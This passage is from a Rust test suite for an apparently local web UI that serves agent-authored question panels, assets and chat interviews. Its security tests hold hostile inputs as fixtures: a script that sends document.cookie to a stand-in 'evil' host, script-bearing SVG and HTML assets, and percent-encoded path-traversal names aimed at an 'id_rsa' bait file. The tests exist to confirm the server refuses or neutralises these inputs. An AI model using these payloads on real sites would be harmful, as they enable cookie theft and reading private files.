2692    use pretty_assertions::assert_eq;
2693    use serde_json::Value;
2694    use tempfile::TempDir;
2695    use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
2696
2697    use super::*;
2698    use crate::config::Config;
2699    use crate::queue::TaskStatus;
2700
2701    /// A home with a queue and a runs directory, and a router serving it on
2702    /// loopback. `tower`'s `oneshot` is not reachable - `tower` is axum's
2703    /// dependency, not ours - so the tests drive a real socket, which has the
2704    /// side benefit of asserting the status line and content types the phone
2705    /// actually receives.
2706    struct Fixture {
2707        home: TempDir,
2708        addr: SocketAddr,
2709    }
2710
2711    impl Fixture {
2712        async fn start() -> Self {
2713            Self::with_loop(launch_idle).await
2714        }
2715
2716        /// A fixture whose loop is `launch`.
2717        async fn with_loop(launch: Launch) -> Self {
2718            let home = TempDir::new().expect("temp home");
2719            let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch).await;
2720            Self { home, addr }
2721        }
2722
2723        /// A fixture whose `ui.repo` is a real directory rather than the
2724        /// usual placeholder - for the routes that read config off it
2725        /// (`GET /api/repos`) and would otherwise have nothing to discover.
2726        async fn with_repo(repo: PathBuf) -> Self {
2727            let home = TempDir::new().expect("temp home");
2728            let addr = Self::serve(home.path(), repo, launch_idle).await;
2729            Self { home, addr }
2730        }
2731
2732        async fn serve(home: &FsPath, repo: PathBuf, launch: Launch) -> SocketAddr {
2733            let queue = Queue::at(home.join("queue"));
2734            let runs = home.join("runs");
2735            std::fs::create_dir_all(&runs).expect("runs dir");
2736            let ui = Ui::new(
2737                queue,
2738                Questions::at(home.join("questions")),
2739                Chats::at(home.join("chats")),
2740                runs,
2741                home.to_path_buf(),
2742                repo,
2743            )
2744            .with_launch(launch);
2745            let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
2746                .await
2747                .expect("bind loopback");
2748            let addr = listener.local_addr().expect("local addr");
2749            tokio::spawn(async move {
2750                let _ = axum::serve(listener, ui.router()).await;
2751            });
2752            addr
2753        }
2754
2755        fn queue(&self) -> Queue {
2756            Queue::at(self.home.path().join("queue"))
2757        }
2758
2759        fn questions(&self) -> Questions {
2760            Questions::at(self.home.path().join("questions"))
2761        }
2762
2763        fn chats(&self) -> Chats {
2764            Chats::at(self.home.path().join("chats"))
2765        }
2766
2767        fn runs(&self) -> PathBuf {
2768            self.home.path().join("runs")
2769        }
2770
2771        async fn get(&self, path: &str) -> Res {
2772            request(self.addr, "GET", path, None).await
2773        }
2774
2775        /// The status and headers without the body, which is how the front end
2776        /// preflights a panel: a sandboxed frame is opaque to the parent
2777        /// document, so the only way to tell "no panel" from "a panel that
2778        /// rendered blank" is to ask before mounting.
2779        async fn head(&self, path: &str) -> Res {
2780            request(self.addr, "HEAD", path, None).await
2781        }
2782
2783        async fn post(&self, path: &str, body: Option<&str>) -> Res {
2784            request(self.addr, "POST", path, body).await
2785        }
2786
2787        async fn delete(&self, path: &str) -> Res {
2788            request(self.addr, "DELETE", path, None).await
2789        }
2790    }
2791
2792    struct Res {
2793        status: u16,
2794        headers: String,
2795        /// The header block with its original casing, for the assertions that
2796        /// compare a header *value* rather than looking for a name. Lowercasing
2797        /// a CSP would hide a directive spelled with a capital letter, and the
2798        /// whole point of that test is that the string is exactly right.
2799        head: String,
2800        body: String,
2801        /// The body before any UTF-8 handling, for the routes that serve
2802        /// something other than text. A panel asset is a PNG as often as not,
2803        /// and `from_utf8_lossy` would silently replace half of it.
2804        bytes: Vec<u8>,
2805    }
2806
2807    impl Res {
2808        fn json(&self) -> Value {
2809            serde_json::from_str(&self.body)
2810                .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
2811        }
2812
2813        /// One header's value verbatim, or `None` when it was not sent.
2814        fn header(&self, name: &str) -> Option<&str> {
2815            self.head.lines().find_map(|line| {
2816                let (key, value) = line.split_once(':')?;
2817                key.trim()
2818                    .eq_ignore_ascii_case(name)
2819                    .then(|| value.trim_start().trim_end_matches('\r'))
2820            })
2821        }
2822    }
2823
2824    /// A one-shot HTTP/1.1 client. `Connection: close` is what lets the reply
2825    /// be read to end-of-stream without parsing framing.
2826    async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
2827        let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
2828        if let Some(body) = body {
2829            head.push_str("Content-Type: application/json\r\n");
2830            head.push_str(&format!("Content-Length: {}\r\n", body.len()));
2831        }
2832        head.push_str("\r\n");
2833        if let Some(body) = body {
2834            head.push_str(body);
2835        }
2836        let mut socket = tokio::net::TcpStream::connect(addr)
2837            .await
2838            .expect("connect to the test server");
2839        socket
2840            .write_all(head.as_bytes())
2841            .await
2842            .expect("write request");
2843        let mut raw = Vec::new();
2844        socket.read_to_end(&mut raw).await.expect("read response");
2845        // Split on the raw bytes rather than on a lossy string, so a binary
2846        // body survives to be compared byte for byte.
2847        let split = raw
2848            .windows(4)
2849            .position(|w| w == b"\r\n\r\n")
2850            .expect("a header block");
2851        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
2852        let bytes = raw[split + 4..].to_vec();
2853        let status = head
2854            .lines()
2855            .next()
2856            .and_then(|line| line.split_whitespace().nth(1))
2857            .and_then(|code| code.parse().ok())
2858            .expect("a status line");
2859        Res {
2860            status,
2861            headers: head.to_lowercase(),
2862            head,
2863            body: String::from_utf8_lossy(&bytes).into_owned(),
2864            bytes,
2865        }
2866    }
2867
2868    /// A run on disk, without touching the process-global magi home.
2869    fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
2870        let mut state = RunState::new(
2871            PathBuf::from("/repo/magi"),
2872            "main".to_owned(),
2873            "0123456789abcdef".to_owned(),
2874            "Add a web UI\n\nMobile first.".to_owned(),
2875            Config::default(),
2876        );
2877        state.id = id.to_owned();
2878        state.status = status;
2879        let dir = runs.join(id);
2880        std::fs::create_dir_all(&dir).expect("run dir");
2881        std::fs::write(
2882            dir.join("run.json"),
2883            serde_json::to_string_pretty(&state).expect("serialize run"),
2884        )
2885        .expect("write run.json");
2886    }
2887
2888    fn write_daemon(home: &FsPath, updated_at: Timestamp) {
2889        let body = serde_json::json!({
2890            "schema": 1,
2891            "pid": 4242,
2892            "started_at": Timestamp::now().to_string(),
2893            "updated_at": updated_at.to_string(),
2894            "idle": false,
2895            "current": { "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" },
2896            "completed": 7,
2897            "polls": 143,
2898        });
2899        std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
2900    }
2901
2902    /// A loop that starts, finds nothing to do, and waits to be told to stop.
2903    ///
2904    /// No test in this file may start the real loop - see [`Ui::launch`] for
2905    /// why - so this stands in for the only thing the routes need a loop to
2906    /// do: keep running until `Stop` is set, then return. A real
2907    /// `serve_until` here would resolve its queue and its status file through
2908    /// the process-global magi home, claim whatever it found in the
2909    /// operator's live backlog, overwrite the status file of the `magi serve`
2910    /// that owns it, and spend real agent quota on a real competition.
2911    fn launch_idle(
2912        _opts: daemon::Opts,
2913        stop: daemon::Stop,
2914    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
2915        Box::pin(async move {
2916            while !stop.stopped() {
2917                tokio::time::sleep(Duration::from_millis(2)).await;
2918            }
2919            Ok(())
2920        })
2921    }
2922
2923    /// A loop that fails on the way up, the way one whose home has gone
2924    /// read-only does.
2925    fn launch_broken(
2926        _opts: daemon::Opts,
2927        _stop: daemon::Stop,
2928    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
2929        Box::pin(async {
2930            Err(anyhow::anyhow!(
2931                "publish the daemon status file: read-only file system"
2932            ))
2933        })
2934    }
2935
2936    /// The loop view once `want` accepts it.
2937    ///
2938    /// Polled rather than asserted straight after the POST because stopping
2939    /// is deliberately not instant - that is the contract - and rather than
2940    /// slept through because a fixed wait is either flaky or slow. Two
2941    /// seconds is far longer than a stand-in loop needs and still finite, so
2942    /// a genuine hang fails the test instead of hanging the suite.
2943    async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
2944        for _ in 0..200 {
2945            let view = fx.get("/api/loop").await.json();
2946            if want(&view) {
2947                return view;
2948            }
2949            tokio::time::sleep(Duration::from_millis(10)).await;
2950        }
2951        panic!(
2952            "the loop never settled: {}",
2953            fx.get("/api/loop").await.json()
2954        );
2955    }
2956
2957    /// File an open question directly in the store the server reads.
2958    fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
2959        let store = fx.questions();
2960        let mut q = Question::new(
2961            "20260902-000000-beef".to_owned(),
2962            "implement".to_owned(),
2963            "impl-A".to_owned(),
2964            summary.to_owned(),
2965            "because it matters".to_owned(),
2966            choices.iter().map(|c| (*c).to_owned()).collect(),
2967        );
2968        store.put(&mut q).expect("put question");
2969        q.id
2970    }
2971
2972    /// A question with a panel the server can serve, plus the named assets.
2973    ///
2974    /// Written through `Questions::put_panel` rather than by laying out the
2975    /// directory here, so these tests exercise the same on-disk shape the
2976    /// agents produce and cannot pass against a layout only the tests know.
2977    fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
2978        let store = fx.questions();
2979        let mut q = Question::new(
2980            "20260902-000000-beef".to_owned(),
2981            "land".to_owned(),
2982            "fix".to_owned(),
2983            "Merge this?".to_owned(),
2984            "the diff is in the panel".to_owned(),
2985            vec!["merge".to_owned(), "hold".to_owned()],
2986        );
2987        // Staged outside the questions root, because `put_panel` copies from
2988        // wherever the agent left its files.
2989        let staging = fx.home.path().join("staging");
2990        std::fs::create_dir_all(&staging).expect("staging dir");
2991        let sources: Vec<PathBuf> = assets
2992            .iter()
2993            .map(|(name, bytes)| {
2994                let path = staging.join(name);
2995                std::fs::write(&path, bytes).expect("write staged asset");
2996                path
2997            })
2998            .collect();
2999        store
3000            .put_panel(&mut q, html, &sources)
3001            .expect("write the panel");
3002        store.put(&mut q).expect("put question");
3003        q.id
3004    }
3005
3006    /// An interview on disk, without talking to a model.
3007    ///
3008    /// Written as JSON straight into the store the server reads, because the
3009    /// only constructor `chat` offers spawns an agent CLI. The one thing this
3010    /// cannot make up is the seat, so it is built with the real
3011    /// `SeatState::new` and serialized - the alternative, hand-writing that
3012    /// object, would make these tests fail the day the seat gains a field.
3013    fn interview(fx: &Fixture, id: &str, status: &str, draft: Option<&str>) -> String {
3014        let store = fx.chats();
3015        std::fs::create_dir_all(store.root()).expect("chats dir");
3016        let seat = serde_json::to_value(crate::agent::SeatState::new("plan", "sonnet", 7))
3017            .expect("serialize a seat");
3018        let body = serde_json::json!({
3019            "schema": 1,
3020            "id": id,
3021            "repo": "/repo/magi",
3022            "agent": "sonnet",
3023            "status": status,
3024            "turns": [
3025                { "who": "operator", "body": "rework the config loader",
3026                  "at": Timestamp::now().to_string() },
3027                { "who": "agent", "body": "Which part is hurting?",
3028                  "at": Timestamp::now().to_string() },
3029            ],
3030            "draft": draft,
3031            "task": Value::Null,
3032            "created_at": Timestamp::now().to_string(),
3033            "updated_at": Timestamp::now().to_string(),
3034            "seat": seat,
3035        });
3036        std::fs::write(store.path_of(id), body.to_string()).expect("write the chat");
3037        // A chat the server cannot parse would make every assertion below a
3038        // 500 that says nothing about the route under test.
3039        store.get(id).expect("the seeded chat has to be readable");
3040        id.to_owned()
3041    }
3042
3043    /// A task file that satisfies `plan::review_draft`, so `POST /file` has
3044    /// something to accept.
3045    fn good_draft() -> String {
3046        "# Rework the config loader\n\n\
3047         ## Why\n\n\
3048         It re-reads `magi.toml` on every lookup, so a run that asks for the \
3049         roster four hundred times pays four hundred parses of the same file.\n\n\
3050         ## What\n\n\
3051         Load the layers once when the run starts and hand the merged value \
3052         around. Nothing about the file format changes.\n\n\
3053         ## Acceptance criteria\n\n\
3054         - `Config::discover` is called exactly once per run.\n\
3055         - `cargo test` passes with no change to any existing assertion.\n"
3056            .to_owned()
3057    }
3058
3059    #[tokio::test]
3060    async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
3061        let fx = Fixture::start().await;
3062        let id = panel(
3063            &fx,
3064            "<h1>Merge?</h1><img src=\"diff.svg\">",
3065            &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
3066        );
3067
3068        for path in [
3069            format!("/api/questions/{id}/panel"),
3070            format!("/api/questions/{id}/asset/diff.svg"),
3071        ] {
3072            let res = fx.get(&path).await;
3073            assert_eq!(res.status, 200, "{path}: {}", res.body);
3074            // The whole string, not a substring. A weakened directive - an
3075            // `img-src *` that lets a panel beacon out to a remote host, a
3076            // `script-src` anything, a missing `form-action` that lets it post
3077            // the owner's decision to a third party - has to fail here, and a
3078            // `contains` assertion would let every one of those through.
3079            assert_eq!(
3080                res.header("content-security-policy"),
3081                Some(
3082                    "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
3083                     font-src data:; base-uri 'none'; form-action 'none'; \
3084                     frame-ancestors 'self'"
3085                ),
3086                "{path} is the only thing between a hostile panel and the tailnet"
3087            );
3088            assert_eq!(
3089                res.header("x-content-type-options"),
3090                Some("nosniff"),
3091                "{path}: a browser must not re-decide the type we sent"
3092            );
3093            assert_eq!(
3094                res.header("referrer-policy"),
3095                Some("no-referrer"),
3096                "{path}: a panel must not leak the question id off the machine"
3097            );
3098
3099            // The front end mounts the frame only after a `HEAD` says the
3100            // panel is there, so `HEAD` has to answer with the same status and
3101            // the same policy as `GET` - a preflight that came back without
3102            // the CSP would mean a frame mounted on an unverified promise.
3103            let pre = fx.head(&path).await;
3104            assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
3105            assert_eq!(
3106                pre.header("content-security-policy"),
3107                res.header("content-security-policy"),
3108                "{path}: the preflight carries the same policy"
3109            );
3110            assert_eq!(
3111                pre.header("content-type"),
3112                res.header("content-type"),
3113                "{path}: the preflight carries the same type"
3114            );
3115        }
3116    }
3117
3118    #[tokio::test]
3119    async fn a_panel_reaches_the_browser_byte_for_byte() {
3120        let fx = Fixture::start().await;
3121        // Markup a sanitiser would be tempted to touch: a stray `<`, a script
3122        // tag, an entity, and a multi-byte character. The sandbox is what makes
3123        // this safe, so nothing here may be rewritten on the way out - a
3124        // rewritten diff is a diff the owner cannot trust.
3125        let html = "<h1>Merge?</h1><p>a &lt; b — 変更</p><script>alert(1)</script>";
3126        let id = panel(&fx, html, &[]);
3127
3128        let res = fx.get(&format!("/api/questions/{id}/panel")).await;
3129
3130        assert_eq!(res.status, 200);
3131        assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
3132        assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
3133        assert_eq!(
3134            res.header("content-disposition"),
3135            None,
3136            "the panel itself is rendered in the frame, not downloaded"
3137        );
3138    }
3139
3140    #[tokio::test]
3141    async fn an_svg_asset_is_a_download_and_a_png_is_not() {
3142        let fx = Fixture::start().await;
3143        let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
3144        let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
3145        let id = panel(
3146            &fx,
3147            "<img src=\"diff.svg\"><img src=\"shot.png\">",
3148            &[("diff.svg", svg), ("shot.png", png)],
3149        );
3150
3151        let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
3152        let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
3153
3154        assert_eq!(as_svg.status, 200);
3155        assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
3156        // An SVG is XML that may carry script. Inside the panel it is an
3157        // `<img src>` and the script cannot run; opened at the top level it
3158        // would be a document on magi's own origin, so the browser is told to
3159        // download it instead of rendering it.
3160        assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
3161
3162        assert_eq!(as_png.status, 200);
3163        assert_eq!(as_png.header("content-type"), Some("image/png"));
3164        assert_eq!(
3165            as_png.header("content-disposition"),
3166            None,
3167            "a raster image has no execution surface, so tapping it still shows it"
3168        );
3169        assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
3170    }
3171
3172    #[tokio::test]
3173    async fn an_html_asset_is_never_served_as_html() {
3174        let fx = Fixture::start().await;
3175        let id = panel(
3176            &fx,
3177            "<p>see the notes</p>",
3178            &[
3179                (
3180                    "notes.html",
3181                    b"<script>fetch('http://evil/'+document.cookie)</script>",
3182                ),
3183                ("hook.js", b"fetch('http://evil/')"),
3184                ("data.json", b"{}"),
3185                ("HEADLINE.TXT", b"plain"),
3186            ],
3187        );
3188
3189        for name in ["notes.html", "hook.js", "data.json"] {
3190            let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
3191            assert_eq!(res.status, 200, "{name}: {}", res.body);
3192            // Serving this as text/html would be a way to reach agent markup
3193            // at the top level of the operator's browser, outside the frame's
3194            // sandbox and outside its CSP - which is the whole thing the panel
3195            // design exists to prevent. Unlisted types are downloads.
3196            assert_eq!(
3197                res.header("content-type"),
3198                Some("application/octet-stream"),
3199                "{name} must not be a type the browser will execute or render"
3200            );
3201        }
3202        // The whitelist is matched case-insensitively, so an agent shouting the
3203        // extension still gets a readable file rather than a download.
3204        let txt = fx
3205            .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
3206            .await;
3207        assert_eq!(
3208            txt.header("content-type"),
3209            Some("text/plain; charset=utf-8")
3210        );
3211    }
3212
3213    #[tokio::test]
3214    async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
3215        let fx = Fixture::start().await;
3216        let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
3217        // Something outside the panel directory that a traversal would reach if
3218        // one got through, so a passing test is not merely "the file was
3219        // missing anyway".
3220        std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
3221
3222        // Decoded before this server's handler sees them: axum percent-decodes
3223        // path parameters, so `name` arrives as `../id_rsa`, `..\id_rsa` and a
3224        // string with a NUL in it. All three look like ordinary single-segment
3225        // filenames to the router, so the router passes them through and
3226        // `valid_asset_name` is what refuses them - for the literal `..`, and
3227        // for `/`, `\` and NUL not being in the permitted character set.
3228        for encoded in [
3229            "%2e%2e%2fid_rsa",
3230            "..%2fid_rsa",
3231            "..%5cid_rsa",
3232            "%2e%2e%5cid_rsa",
3233            "diff%00.svg",
3234            "..",
3235            ".hidden",
3236            "%2e%2e%2f%2e%2e%2fid_rsa",
3237        ] {
3238            let res = fx
3239                .get(&format!("/api/questions/{id}/asset/{encoded}"))
3240                .await;
3241            assert_eq!(
3242                res.status, 400,
3243                "`{encoded}` has to be refused by name, not looked up: {}",
3244                res.body
3245            );
3246            assert!(res.json()["error"].is_string(), "{}", res.body);
3247        }
3248
3249        // Not decoded, and never this handler's problem: a real slash makes the
3250        // request one segment too long for `/api/questions/{id}/asset/{name}`,
3251        // so axum's router has no route to match and answers before any code
3252        // here runs. Asserted so that a future route with a wildcard segment
3253        // cannot quietly open this door.
3254        for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
3255            let res = fx
3256                .get(&format!("/api/questions/{id}/asset/{literal}"))
3257                .await;
3258            assert_eq!(
3259                res.status, 404,
3260                "`{literal}` must not match the asset route at all: {}",
3261                res.body
3262            );
3263        }
3264    }
3265
3266    #[tokio::test]
3267    async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
3268        let fx = Fixture::start().await;
3269        let plain = ask(&fx, "Which backend?", &["SQLite"]);
3270        let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
3271
3272        // A question nobody wrote a panel for. The client preflights with HEAD
3273        // and cannot see inside a sandboxed frame, so this must be a status and
3274        // not an empty page.
3275        let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
3276        assert_eq!(none.status, 404, "{}", none.body);
3277        assert!(none.json()["error"].is_string(), "{}", none.body);
3278        assert_eq!(
3279            fx.head(&format!("/api/questions/{plain}/panel"))
3280                .await
3281                .status,
3282            404,
3283            "the preflight is the only way the client can learn this"
3284        );
3285
3286        // A name that is perfectly legal and simply is not there.
3287        let missing = fx
3288            .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
3289            .await;
3290        assert_eq!(missing.status, 404, "{}", missing.body);
3291        assert!(missing.json()["error"].is_string(), "{}", missing.body);
3292
3293        // A question that does not exist at all, on both routes.
3294        assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
3295        assert_eq!(
3296            fx.get("/api/questions/nope/asset/diff.svg").await.status,
3297            404
3298        );
3299    }
3300
3301    #[tokio::test]
3302    async fn the_chat_list_is_open_first_and_carries_the_whole_transcript() {
3303        let fx = Fixture::start().await;
3304        assert_eq!(fx.get("/api/health").await.json()["chats_open"], 0);
3305
3306        interview(&fx, "20260903-014455-old1", "filed", Some(&good_draft()));
3307        interview(&fx, "20260903-014456-open", "open", None);
3308
3309        let listed = fx.get("/api/chats").await;
3310        assert_eq!(listed.status, 200, "{}", listed.body);
3311        let chats = listed.json();
3312        assert_eq!(chats.as_array().map(Vec::len), Some(2));
3313        assert_eq!(
3314            chats[0]["id"], "20260903-014456-open",
3315            "an unfinished interview is what the operator came back for: {chats}"
3316        );
3317        assert_eq!(chats[0]["status"], "open");
3318        // The transcript is the only thing a chat is made of, so the list
3319        // carries it rather than making the phone fetch each one.
3320        assert_eq!(chats[0]["turns"][0]["who"], "operator");
3321        assert_eq!(chats[0]["turns"][1]["body"], "Which part is hurting?");
3322        assert_eq!(chats[1]["status"], "filed");
3323
3324        // The one number that says "you left an interview open"; a filed one
3325        // has become a task and must not keep counting.
3326        assert_eq!(fx.get("/api/health").await.json()["chats_open"], 1);
3327    }
3328
3329    #[tokio::test]
3330    async fn one_interview_is_readable_by_short_id_and_an_unknown_one_is_a_404() {
3331        let fx = Fixture::start().await;
3332        let id = interview(&fx, "20260903-014455-ab12", "open", None);
3333
3334        let full = fx.get(&format!("/api/chats/{id}")).await;
3335        assert_eq!(full.status, 200, "{}", full.body);
3336        assert_eq!(full.json()["id"], id);
3337        assert_eq!(full.json()["repo"], "/repo/magi");
3338
3339        // The short id is what the operator reads off a notification.
3340        let short = fx.get("/api/chats/ab12").await;
3341        assert_eq!(short.status, 200, "{}", short.body);
3342        assert_eq!(short.json()["id"], id);
3343
3344        let missing = fx.get("/api/chats/nosuchchat").await;
3345        assert_eq!(missing.status, 404, "{}", missing.body);
3346        assert!(
3347            missing.json()["error"]
3348                .as_str()
3349                .is_some_and(|e| e.contains("chat")),
3350            "the error names what was not found: {}",
3351            missing.body
3352        );
3353    }
3354
3355    #[tokio::test]
3356    async fn filing_a_bad_draft_reports_every_problem_at_once() {
3357        let fx = Fixture::start().await;
3358        let id = interview(&fx, "20260903-014455-ab12", "open", Some("do the thing"));
3359
3360        let res = fx.post(&format!("/api/chats/{id}/file"), None).await;
3361
3362        assert_eq!(res.status, 400, "{}", res.body);
3363        let problems = res.json()["problems"].clone();
3364        let problems = problems.as_array().expect("an array of problems");
3365        // Every problem, not the first one. The operator is on a phone: a
3366        // draft with no title and no acceptance criteria is one edit, and
3367        // reporting it one problem per round trip means asking the interviewer
3368        // to rewrite it twice.
3369        assert!(
3370            problems.len() > 1,
3371            "one round trip has to be enough to fix the draft: {}",
3372            res.body
3373        );
3374        assert!(problems.iter().all(|p| p.is_string()), "{}", res.body);
3375        assert!(res.json()["error"].is_string(), "{}", res.body);
3376        assert!(
3377            fx.queue().list().is_empty(),
3378            "a refused draft must not reach the queue"
3379        );
3380
3381        // An interview the agent has not drafted for at all is the same shape,
3382        // so the front end has one path rather than two.
3383        let empty = interview(&fx, "20260903-014456-cd34", "open", None);
3384        let res = fx.post(&format!("/api/chats/{empty}/file"), None).await;
3385        assert_eq!(res.status, 400, "{}", res.body);
3386        assert_eq!(
3387            res.json()["problems"].as_array().map(Vec::len),
3388            Some(1),
3389            "{}",
3390            res.body
3391        );
3392    }
3393
3394    #[tokio::test]
3395    async fn filing_a_good_draft_queues_it_and_answers_with_the_task_id() {
3396        let fx = Fixture::start().await;
3397        let draft = good_draft();
3398        let id = interview(&fx, "20260903-014455-ab12", "open", Some(&draft));
3399
3400        let res = fx.post(&format!("/api/chats/{id}/file"), None).await;
3401
3402        assert_eq!(res.status, 200, "{}", res.body);
3403        let task = res.json()["task"]
3404            .as_str()
3405            .unwrap_or_else(|| panic!("a task id: {}", res.body))
3406            .to_owned();
3407
3408        // The point of the whole browser interview: a real task in the real
3409        // queue, indistinguishable from one filed at a terminal.
3410        let queued = fx.queue().get(&task).expect("the task is on disk");
3411        assert_eq!(
3412            queued.instruction, draft,
3413            "the draft reaches the graph verbatim"
3414        );
3415        assert_eq!(queued.repo, PathBuf::from("/repo/magi"));
3416        assert_eq!(
3417            fx.get("/api/queue").await.json()[0]["id"],
3418            task,
3419            "the filed task is the listed one"
3420        );
3421
3422        // The interview is finished, so it stops asking to be finished.
3423        let after = fx.get(&format!("/api/chats/{id}")).await.json();
3424        assert_eq!(after["task"], task);
3425        assert_eq!(after["status"], "filed");
3426        assert_eq!(fx.get("/api/health").await.json()["chats_open"], 0);
3427    }
3428
3429    #[tokio::test]
3430    async fn a_second_turn_on_a_busy_chat_is_refused_rather_than_interleaved() {
3431        let fx = Fixture::start().await;
3432        let id = interview(&fx, "20260903-014455-ab12", "open", None);
3433        let ui = Ui::new(
3434            fx.queue(),
3435            fx.questions(),
3436            fx.chats(),
3437            fx.runs(),
3438            fx.home.path().to_path_buf(),
3439            PathBuf::from("/repo/magi"),
3440        );
3441
3442        // The claim a running `POST /say` holds. Taken directly rather than by
3443        // starting a turn, because a turn spawns an agent CLI and no test here
3444        // is allowed to do that.
3445        let first = ui.begin_turn(&id).expect("the first turn claims the chat");
3446        let second = ui.begin_turn(&id).expect_err("the second must be refused");
3447        assert_eq!(
3448            second.status,
3449            StatusCode::CONFLICT,
3450            "a double tap on a slow link must not append two half-turns"
3451        );
3452
3453        // Dropped rather than released by hand, which is what makes a cancelled
3454        // request - a phone that walked out of range mid-turn - leave the chat
3455        // usable instead of wedged until the server restarts.
3456        drop(first);
3457        assert!(
3458            ui.begin_turn(&id).is_ok(),
3459            "the slot has to come back on its own"
3460        );
3461    }
3462
3463    #[tokio::test]
3464    async fn a_turn_with_nothing_in_it_never_reaches_an_agent() {
3465        let fx = Fixture::start().await;
3466        let id = interview(&fx, "20260903-014455-ab12", "open", None);
3467
3468        // Refused on the request, before the chat is even resolved, so an
3469        // accidental send costs neither a model call nor a turn in the record.
3470        for body in [r#"{"text":"   \n "}"#, r#"{}"#] {
3471            let res = fx.post(&format!("/api/chats/{id}/say"), Some(body)).await;
3472            assert_eq!(res.status, 400, "{body}: {}", res.body);
3473        }
3474        let res = fx.post("/api/chats", Some(r#"{"idea":"  "}"#)).await;
3475        assert_eq!(res.status, 400, "{}", res.body);
3476
3477        assert_eq!(
3478            fx.get(&format!("/api/chats/{id}")).await.json()["turns"]
3479                .as_array()
3480                .map(Vec::len),
3481            Some(2),
3482            "nothing above may have appended a turn"
3483        );
3484    }
3485
3486    #[tokio::test]
3487    async fn a_run_with_an_open_question_reads_as_waiting() {
3488        let fx = Fixture::start().await;
3489        let run = "20260902-000000-beef".to_owned();
3490        write_run(&fx.runs(), &run, RunStatus::Implementing);
3491
3492        let before = fx.get("/api/runs").await.json();
3493        assert_eq!(before[0]["waiting"], false, "{before}");
3494
3495        let store = fx.questions();
3496        let mut q = Question::new(
3497            run.clone(),
3498            "implement".to_owned(),
3499            "impl-A".to_owned(),
3500            "Which backend?".to_owned(),
3501            String::new(),
3502            vec!["SQLite".to_owned()],
3503        );
3504        store.put(&mut q).expect("put");
3505
3506        let during = fx.get("/api/runs").await.json();
3507        assert_eq!(during[0]["waiting"], true, "{during}");
3508
3509        // Answered: the run is moving again, and the flag has to follow without
3510        // anything having rewritten run.json.
3511        q.answer(Answer::Choice("SQLite".to_owned()))
3512            .expect("answer");
3513        store.put(&mut q).expect("put");
3514        let after = fx.get("/api/runs").await.json();
3515        assert_eq!(after[0]["waiting"], false, "{after}");
3516    }
3517
3518    #[tokio::test]
3519    async fn an_open_question_is_listed_and_counted_by_health() {
3520        let fx = Fixture::start().await;
3521        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
3522
3523        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
3524        let listed = fx.get("/api/questions").await.json();
3525        assert_eq!(listed.as_array().expect("array").len(), 1);
3526        assert_eq!(listed[0]["id"], id);
3527        assert_eq!(listed[0]["status"], "open");
3528        assert_eq!(listed[0]["choices"][1], "Redis");
3529        // The count is what makes the phone's indicator honest: it is the one
3530        // number meaning nothing will move until a human acts.
3531        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
3532    }
3533
3534    #[tokio::test]
3535    async fn answering_records_the_choice_and_a_second_answer_conflicts() {
3536        let fx = Fixture::start().await;
3537        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
3538        let path = format!("/api/questions/{id}/answer");
3539
3540        let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
3541        assert_eq!(res.status, 200, "{}", res.body);
3542        let body = res.json();
3543        assert_eq!(body["status"], "answered");
3544        assert_eq!(body["answer"]["choice"], "Redis");
3545
3546        // Answered from the terminal in between the list and the tap: the UI
3547        // must be able to tell this from a bad request, so it can show the
3548        // recorded answer instead of an error.
3549        let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
3550        assert_eq!(again.status, 409, "{}", again.body);
3551        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
3552    }
3553
3554    #[tokio::test]
3555    async fn an_answer_the_question_does_not_offer_is_refused() {
3556        let fx = Fixture::start().await;
3557        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
3558        let path = format!("/api/questions/{id}/answer");
3559
3560        for body in [
3561            r#"{"choice":"Postgres"}"#,
